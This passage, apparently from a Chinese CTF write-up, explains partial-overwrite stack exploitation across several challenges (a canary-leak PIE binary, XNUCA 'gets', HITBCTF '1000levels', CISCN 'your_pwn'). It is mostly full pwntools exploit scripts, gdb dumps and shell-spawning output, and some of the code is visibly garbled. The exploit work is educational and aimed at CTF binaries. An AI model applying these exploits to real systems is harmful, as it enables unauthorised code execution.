read(0, buf, 0x30)函數執行完成後:───────────────────────────────────[ STACK ]─────────────────────────────────────────00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')... ↓05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push r1507:0038│ 0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov eax, 0─────────────────────────────────────────────────────────────────────────────────pwndbg> x /18gx 0x7fff426083d00x7ffcd84e68d0: 0x6161616161616161 0x61616161616161610x7ffcd84e63e0: 0x6161616161616161 0x61616161616161610x7ffcd84e63f0: 0x6161616161616161 0x5764f3c02805770a

覆蓋ret_addr控制程序的指令流
首先找到flag的地址,最後一個半字節爲0x7f0,由於內存是按頁夾在的 0x1000爲一頁,因此每次加載這三位是不會變的,那麼在payload中發送的時候(按字節發送,發送4位),第四位隨便填寫一個即可,每次對隨機加載後的flag函數起始地址進行碰撞,因爲範圍在0x0 -0xf,所以碰撞成功的機率挺大的。


pwndbg> disassemble flagDump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 system@plt 0x0000555555554800 <+16>: nop 0x0000555555554801 <+17>: pop rbp 0x0000555555554802 <+18>: ret End of assembler dump.

構造payload,覆蓋ret_addr的末尾兩個字節


p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'p.send(payload)

可以看到RAX、Canary、ret_addr的末尾兩個字節都已經成功覆蓋,後面的工作就是去碰撞。─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qword ptr fs:[0x28]──────────────────────────────[ DISASM ]───────────────────────────────── ► 0x55cd0345386f xor rax, qword ptr fs:[0x28] 0x55cd03453878 je 0x55cd0345387f ↓ 0x55cd0345387f leave 0x55cd03453880 ret ─────────────────────────── ───[ STACK ]─────────────────────────────────00:0000│ rsi r8 rsp 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓05:0028│ 0x7ffe773d1d98 ◂— 0xa4c9b736e376370006:0030│ rbp 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')07:0038│ 0x7ffe773d1da8 ◂— 0x55cd034547f0

exp:


from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary = u64('\0' + p.recvn(7)) print hex(canary) p.recvuntil(":\n")

    payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
    p.send(payload)
    flag = p.recvall()
    if 'flag' in flag:
        exit(0)
except Exception as e:
    p.close()
    print e


pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'......[+] Receiving all data: Done (37B)[DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'[] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)[] Stopped process './test-pie' (pid 17620

總結:在該情況下,因爲有canary保護,所以先泄漏canary ,進而構造payload繞過canary覆蓋返回地址來執行指定的函數。

# 題目二
2018年XNUCA中的gets題目


int64 fastcall main(__int64 a1, char a2, char a3){ __int64 v4; // rsp+0h

gets((**int64)&v4, (**int64)a2, (__int64)a3); return 0LL;}

pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)依然沒有PIE,但是開了ASLR保護

只有一個gets函數而且存在明顯棧溢出漏洞,想象空間很大,可以構造execve函數進行getshell,由於開啓了ASLR,必須先構造read或者puts函數泄漏libc的地址,但代碼段又沒有這些函數,依然得需要先知道libc的加載地址。那麼既然開啓地址隨機化,嘗試partial overwrite去覆蓋返回地址(覆蓋成onegadget的地址)達到getshell的目的。


ps:one-gadget是glibc裏調用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我們能夠控制ip的時候,用one-gadget來做RCE(遠程代碼執行)非常方便,一般地,此辦法在64位上常用,卻在32位的libc上會很難去找,也很難用。

pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL

可以看到棧中main函數的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),繼續往下看還發現 0x7ffff7de896b (_dl_init+139)。


有兩個地址,這有什麼用呢?繼續往下看
發現兩個地址分別屬於libc和ld,而且經過多次實驗發現在每次加載中,Id.so和libc.so的加載地址的相對位置是固定的,也就是偏移量不變。

就好比開頭提到的,一個比較自然的想法就是我們通過 partial overwrite 來修改0x7ffff7a5a2e1的末尾兩位字節爲0xf306(如題目一的思路),經過多次碰撞得到onegadget的地址,最終getshell。那麼就開始構造flag,因爲gets函數會在末尾讀入一個\x00的結束符,因此實際上覆蓋後的地址是這樣的0x7ffff700f306,但是這就面臨一個問題。
按照上面來說,如果直接覆蓋返回地址 那麼覆蓋成了0x7ffff700f306(嚴謹一點:0x7ffff7000306 - 0x7ffff700f306),那麼計算出libc的加載地址爲0x7ffff6fd0000<<0x7ffff7a3a000(嚴謹一點:0x7ffff6fc1000 - 0x7ffff6fd0000),也就是說libc加載在這個範圍內纔可能碰撞到onegadget,但是因爲偏移量不變的原因,libc加載在這個範圍內,覆蓋後的onegadget的地址依然偏小,永遠是不可能碰撞到的。如果還是不理解,那繼續看這個假設實驗:
假設我們不知道__libc_start_main在libc的偏移量,並且祈禱__libc_start_main與libc的基址相距地很遠,並且假設一下幾個地址成立:
onegadge地址:0x7ffff700f306 
那麼根據偏移計算出來
libc的基址:0x7ffff6fd0000 (0x7ffff700f306-0x3f306)
此時__libc_start_main+240的地址:0x7ffff7xxxxxx(給一個最小的地址:0x7ffff7000000),這樣才上述的地址的相對位置纔有可能成立。此時__libc_start_main的(最小)偏移量爲0x2FF10。
現在去驗證一下這個假設是否成立,只要真實的偏移量大於等於假設的偏移量,那麼假設成立,查看__libc_start_main在libc中偏移量爲0x201f0<0x2FF10,也就是說上述假設不成立。


image2.png

pwndbg> xinfo __libc_start_mainExtended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0

一般來說 libc_start_main 在 libc 中的偏移不會差的太多,那麼顯然我們如果覆蓋 __libc_start_main+240 ,顯然是不可能的。
那麼第二個地址_dl_init+139就有用了,將其覆蓋爲0x7ffff700f306,按照上面的方法看看是否可行。
onegadge:0x7ffff700f306
那麼根據偏移計算出來
libc的基址:0x7ffff6fd0000
此時_dl_init+139的地址:0x7ffff7xxxxxx(給一個最小的地址:0x7ffff7000000),此時_dl_init的(最小)偏移量(距離libc)爲0x2FF75
libc和ld兩者相距:0x39f000 (在加載的過程中,這個偏移是不變的)
ld.so的加載地址:0x7ffff736f000 
查看_dl_init真實的偏移量(在ld.so中)0xf8e0,距離libc的偏移是0x3ae8e0>0x2FF75,上述假設成立,此時_dl_init+139的地址爲:0x7ffff7de896b(符合0x7ffff7xxxxxx形式)


pwndbg> xinfo _dl_initExtended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0

也就是說,當libc的基址爲0x7ffff6fd0000是,此時覆蓋棧上_dl_init+139爲0x7ffff700f306就一定能夠碰撞onegadget的地址,這是其中一個可能,還有很多種其他的可能,雖然碰撞機率不大,也不會很小,其實證明了這麼久其實就是卡一個0x7ffff6fdxxxxx和0x7ffff7xxxxx這個點的機率。
下面的操作就簡單易懂了,解決怎麼去覆蓋的問題即可。
相隔那麼遠,怎麼在棧上移動?
那麼就需要找到合適的gadget了,只需要push_ret那麼就可以準確定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。


pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret

移動的過程如下:

因爲這個需要概率,因此不知道payload是不是正確,還在那一直跑,先調試代碼,可以發現都是按照設想去執行  只是沒成功,然後就是一直跑,直到跑出shell爲止。

exp:


image3.png

image4.png

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

offset = 0x18

while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3'

gdb.attach(p)

    p.sendline(payload)
    p.sendline('ls')
    data = p.recv()
    print data
    p.interactive()
    p.close()
except Exception:
    p.close()
    continue


這就需要耐心了,可能幾十分鐘都沒結果(我跑了好久),然後去修改一下partial overwrite的值,將\x06\x03修改成\x06\xa3,一分鐘左右就跑出來了。


# 題目三
HITBCTF2017中的1000levels題目,梳理流程,函數有點多


_BOOL8 __fastcall level(signed int a1){ __int64 v2; // rax __int64 buf; // rsp+10h __int64 v4; // rsp+18h __int64 v5; // rsp+20h __int64 v6; // rsp+28h unsigned int v7; // rsp+30h unsigned int v8; // rsp+34h unsigned int v9; // rsp+38h int i; // rsp+3Ch buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( !a1 ) return 1LL; if ( (unsigned int)level(a1 - 1) == 0 ) return 0LL; v9 = rand() % a1; v8 = rand() % a1; v7 = v8 * v9; puts("===================================================="); printf("Level %d\n", (unsigned int)a1); printf("Question: %d * %d = ? Answer:", v9, v8); for ( i = read(0, &buf, 0x400uLL); i & 7; ++i ) *((_BYTE *)&buf + i) = 0; v2 = strtol((const char *)&buf, 0LL, 10); return v2 == v7;}

pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

主要看level函數,棧溢出發生在 level函數中
__int64 buf; // [rsp+10h] [rbp-30h]
read(0, &buf, 0x400uLL)
顯然發生了溢出。其中還是開啓了PIE保護。
程序的流程是通過go函數進入關卡,獲取設置的關卡數數目,在level函數中進行遞歸執行,程序有點複雜,就沒有頭緒,那麼先從溢出點看,怎麼利用這個溢出點?利用題目二的思路,使用partial overwrite覆蓋返回地址爲onegadget地址,也就是覆蓋0x238距離外的0x7ffff7de896b (_dl_init+139) ,然後再利用合適的gadget(因爲PIE的緣故,如果還是使用__libc_csu_init的gadget的話,需要先泄漏加載地址,此處換成vsystem裏面的gadget)來移動0x238的距離進行覆蓋末尾兩位。但是仔細看一下程序流程發現還有一個更簡單的辦法, 我們上一個辦法無非就是爲了執行onegadget,但是在之前確定onegadget加載的地址,那麼需要一個參照物,仔細看hint函數


int hint(void){ signed __int64 v1; // rsp+8h int v2; // rsp+10h __int16 v3; // rsp+14h if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1);}

無論執不執行sprintf((char *)&v1, "Hint: %p\n", &system, &system)這條語句,在之前執行這麼一段指令


0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax

將[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在棧中位置是hint函數的rbp - 0x110,也就是隻要執行hint函數,那麼system函數就會被放在rbp - 0x110處,而且這個位置很眼熟,在go函數中也有


int go(void){ int v1; // ST0C_4 __int64 v2; // rsp+0h __int64 v3; // rsp+0h int v4; // rsp+8h __int64 v5; // rsp+10h signed __int64 v6; // rsp+10h signed __int64 v7; // rsp+18h __int64 v8; // rsp+20h puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3; if ( v6 > 0 ) { if ( v6 <= 999 ){ v7 = v6; } else { puts("More levels than before!"); v7 = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(v7) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); puts((const char *)&v8); } else { puts("You failed."); } exit(0); } return puts("Coward");}

v5和v6都是rbp-0x110,由於棧幀開闢的原理,main函數中的hint函數和go函數的的rbp應該是同一個地址,因此在執行完hint函數後,再去執行go函數,v5和v6中保存了system的地址,而且剛纔說的棧溢出發生在level函數中,由於棧幀開闢的原理,level函數的棧幀在go函數的棧幀的低位置處,可以通過棧溢出和合適的ret的gadget去執行system函數,不過這有兩個前提,一、rbp-0x110的地址內容不會被覆蓋;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,這看起來很難滿足,繼續看程序邏輯,會發現


if ( v2 > 0 ) v5 = v2;else puts("Coward");puts("Any more?");v3 = read_num();v6 = v5 + v3;

也就說只要v2<=0,rbp-0x110就不會被覆蓋,而且v6 = v5 + v3可以靈活運用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因爲剛纔頁提到了最終都要往onegadget上靠,而且我們知道,無論怎麼加載,偏移量始終是固定的。這樣分析完後,思路就很明確了,顯示構造onegadget_addr,然後利用棧溢出和合適的ret的gadget去執行onegadget。
第一步得找到level返回地址和rbp-0x110的距離


pwndbg> disassemble goDump of assembler code for function _Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 puts@plt 0x0000555555554b93 <+23>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554b98 <+28>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554b9f <+35>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554ba6 <+42>: test rax,rax 0x0000555555554ba9 <+45>: jg 0x555555554bb9 <_Z2gov+61> 0x0000555555554bab <+47>: lea rdi,[rip+0x4f3] # 0x5555555550a5 0x0000555555554bb2 <+54>: call 0x555555554900 puts@plt 0x0000555555554bb7 <+59>: jmp 0x555555554bc7 <_Z2gov+75> 0x0000555555554bb9 <+61>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bc0 <+68>: mov QWORD PTR [rbp-0x110],rax 0x0000555555554bc7 <+75>: lea rdi,[rip+0x4de] # 0x5555555550ac 0x0000555555554bce <+82>: call 0x555555554900 puts@plt 0x0000555555554bd3 <+87>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554bd8 <+92>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554bdf <+99>: mov rdx,QWORD PTR [rbp-0x110] 0x0000555555554be6 <+106>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bed <+113>: add rax,rdx 0x0000555555554bf0 <+116>: mov QWORD PTR [rbp-0x110],rax......

在go的彙編代碼中可以看到,總共開闢了0x120大小的棧幀,v5和v6在rsp+10h中,很容易可以計算出level返回地址距離system_addr的距離是0x18,棧結構如下:



0x7fffffffcb88 | 0x555555554c74 (go()+248)

0x7fffffffcb90 | 0x1

0x7fffffffcb98 | 0x555560531c95

0x7fffffffcba0 | 0x2

經過覆蓋後0x7fffffffcba0中存的是onegadget的地址。然後在使用合適的gadget越過0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三個內存單元,控制程序執行0x7fffffffcba0的內容。
第二步尋找合適的gadget。
在PIE的情況下,怎麼尋找這個合適的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的區別的時候,一直提到一個點,無論開啓ASLR,還是PIE+ASLR,vsyscall的加載地址依然不變,始終爲0xffffffffff600000 - 0xffffffffff601000。
簡單介紹一下vsyscall,現代的Windows和Unix操作系統都採用了分級保護的方式,內核代碼位於R0,用戶代碼位於R3。執行某些操作的時候會在從用戶空間切換到內核空間時需要一個介質,這介質就是系統調用,但是這一過程需要耗費一定的性能,增加了不必要的開銷,vsystem就是加速某些系統調用的機制,他用來執行特定的系統調用,減少系統調用的開銷,例如gettimeofday(),這樣就避免了傳統的系統調用模式int 0x80/syscall造成的內核空間和用戶上下文空間的切換。使用gdb將vsystem這段內存dump下來拿到IDA中進行查看


seg000:0000000000000000 mov rax, 60hseg000:0000000000000007 syscall ; Low latency system callseg000:0000000000000009 retnseg000:0000000000000009 ; ---------------------------------------------------------------------------seg000:000000000000000A align 400hseg000:0000000000000400 mov rax, 0C9hseg000:0000000000000407 syscall ; Low latency system callseg000:0000000000000409 retnseg000:0000000000000409 ; ---------------------------------------------------------------------------seg000:000000000000040A align 400hseg000:0000000000000800 mov rax, 135hseg000:0000000000000807 syscall ; Low latency system callseg000:0000000000000809 retn

顯示的這三個系統調用分別是:gettimeofday, time和getcpu。值得注意的是,在我們選擇gadget的是,直接調用vsyscall中的retn指令,會提示段錯誤,這是因爲vsyscall執行時會進行檢查,如果不是從函數開頭執行的話就會出錯
所以不能直接調用ret,應該從頭開始。
第三步找到onegadget


pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL

準備內容做完後就開始構造payload,但是本地測試一直失敗 ,調試時發現每次執行vsyscall的系統調用的的時候,會報出Program recevied signal SIGSEGV(fault address 0xa)的錯誤提示,可是沒有查到原因(求大佬指點),後來在攻防世界中找到一個一樣的題目'100levels',只不過最高的循環從1000變爲了100,思路沒有變,改了下exp就利用成功了,於是更納悶爲什麼本地會報這種錯誤。


from pwn import *libc = ELF("./libc.so")

p = process('./1000levels')

p = remote('111.200.241.244',45392)

one_gadget = 0x3f306

one_gadget = 0x4526asystem = libc.symbols['system']

print r.recvuntil("Choice:\n")p.sendline('2')print r.recvuntil("Choice:\n")p.sendline('1')print r.recvuntil("How many levels?\n")p.sendline('0')print r.recvuntil("Any more?\n")p.sendline(str(one_gadget-system))

def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans))

for i in range(999):

for i in range(99): calc()print p.recvuntil("Answer:")payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3p.send(payload)p.interactive()

image6.png

# 題目四
2019年CISCN中your_pwn的題目,源碼如下:


int64 fastcall main(__int64 a1, char a2, char a3){ char s; // rsp+0h unsigned __int64 v5; // rsp+108h v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int)sub_B35() ); return 0LL;}

_BOOL8 sub_B35(){ int v1; // rsp+4h int v2; // rsp+8h int i; // rsp+Ch char v4[64]; // rsp+10h char s; // rsp+50h unsigned __int64 v6; // rsp+158h v6 = __readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); printf("now value(hex) %x\n", (unsigned int)v4[v1]); puts("input new value"); __isoc99_scanf("%d", &v2); v4[v1] = v2; } puts("do you want continue(yes/no)? "); read(0, &s, 0x100uLL); return strncmp(&s, "yes", 3uLL) == 0;}

pwn@pwn-PC:~/Desktop$ checksec pwn[*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

又是保護全開,根據程序的代碼可以發現存在數組越界漏洞,其中v1可以控制,因爲v4這個數組在讀取索引的時候沒有限制,引發數組越界漏洞,而且代碼中分別對數組進行了讀和寫操作,那麼造成棧空間任意地址讀寫(任意地址讀和任意地址寫)。由於PIE和canary的存在,所以思路是先泄露棧中的某個返回地址,獲取棧中的某些函數(main函數的返回地址__libc_start_main+241)的加載地址,從而計算出libc的基址,進而計算得到onegadget的地址,然後寫入返回地址進行ROP即可。
在構造payload之前,先分析一下利用過程。
第一步泄漏main函數的返回地址__libc_start_main+241的地址:0x7ffff7a5a2e1,從而根據偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。


第二步找到onegadget
選擇一個onegadget,根據得到的libc的基址和偏移量計算出onegadget地址,0x7ffff7a3a000 + 0x3f306 = 0x7ffff7a79306。


pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL

constraints: [rsp+0x60] == NULL

那麼此時前期工作就做完,之後利用數組溢出泄漏基址,然後利用數組的寫入操作進行rop,執行onegadget,整體的分析如下圖:


結合前幾節學過的知識,發現能夠對過程進行簡化,我們泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏後後三位(因爲前面的加載地址都一樣)即可


查看__libc_start_main+241末尾三個字節:pwndbg> x /3bx 0x7fffffffcd180x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1

使用後三位字節進行計算:0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr

將onegadget addr進行寫入:0x7fffffffcd18 :0x06 :v2 = 60x7fffffffcd19 :0x93 :v2 = 1470x7fffffffcd1a :0x7a :v2 = 122

寫入位置:v4[0x278] :v1 = 632v4[0x279] :v1 = 633v4[0x280] :v1 = 634

注意在進行printf時,是輸出是格式%x,運用了一次MOVSX指令(說明:帶符號擴展傳送指),因此在exp中需要對輸出的內容進行處理,exp如下:


from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")p = process('./pwn')one_gadget = 0x3f306libc_start_main_addr = libc.symbols['__libc_start_main']libc_start_main_241 = 0xf1offset = 0x278newValue = 1

def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main

p.recvuntil("name:")p.sendline('pwn')

p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

libc_start_main = byte(addr2) + byte(addr1) + byte(addr)libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241one_gadget_addr = libc_addr + one_gadget

print hex(one_gadget_addr)

a = int('0x'+hex(one_gadget_addr)[-2:],16)b = int('0x'+hex(one_gadget_addr)[-4:-2],16)c = int('0x'+hex(one_gadget_addr)[-6:-4],16)

gdb.attach(p)

p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(a))

p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(b))

p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(c))p.recvuntil("input index\n")p.sendline('a')p.interactive()

image9.png

本文涉及相關實驗:高級棧溢出技術—ROP實戰(split) (通過該實驗學習ROP概念及其思路,瞭解高級棧溢出時需要注意的事項,並掌握解決方法,同時通過練習給出的關卡來增強實踐能力。)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章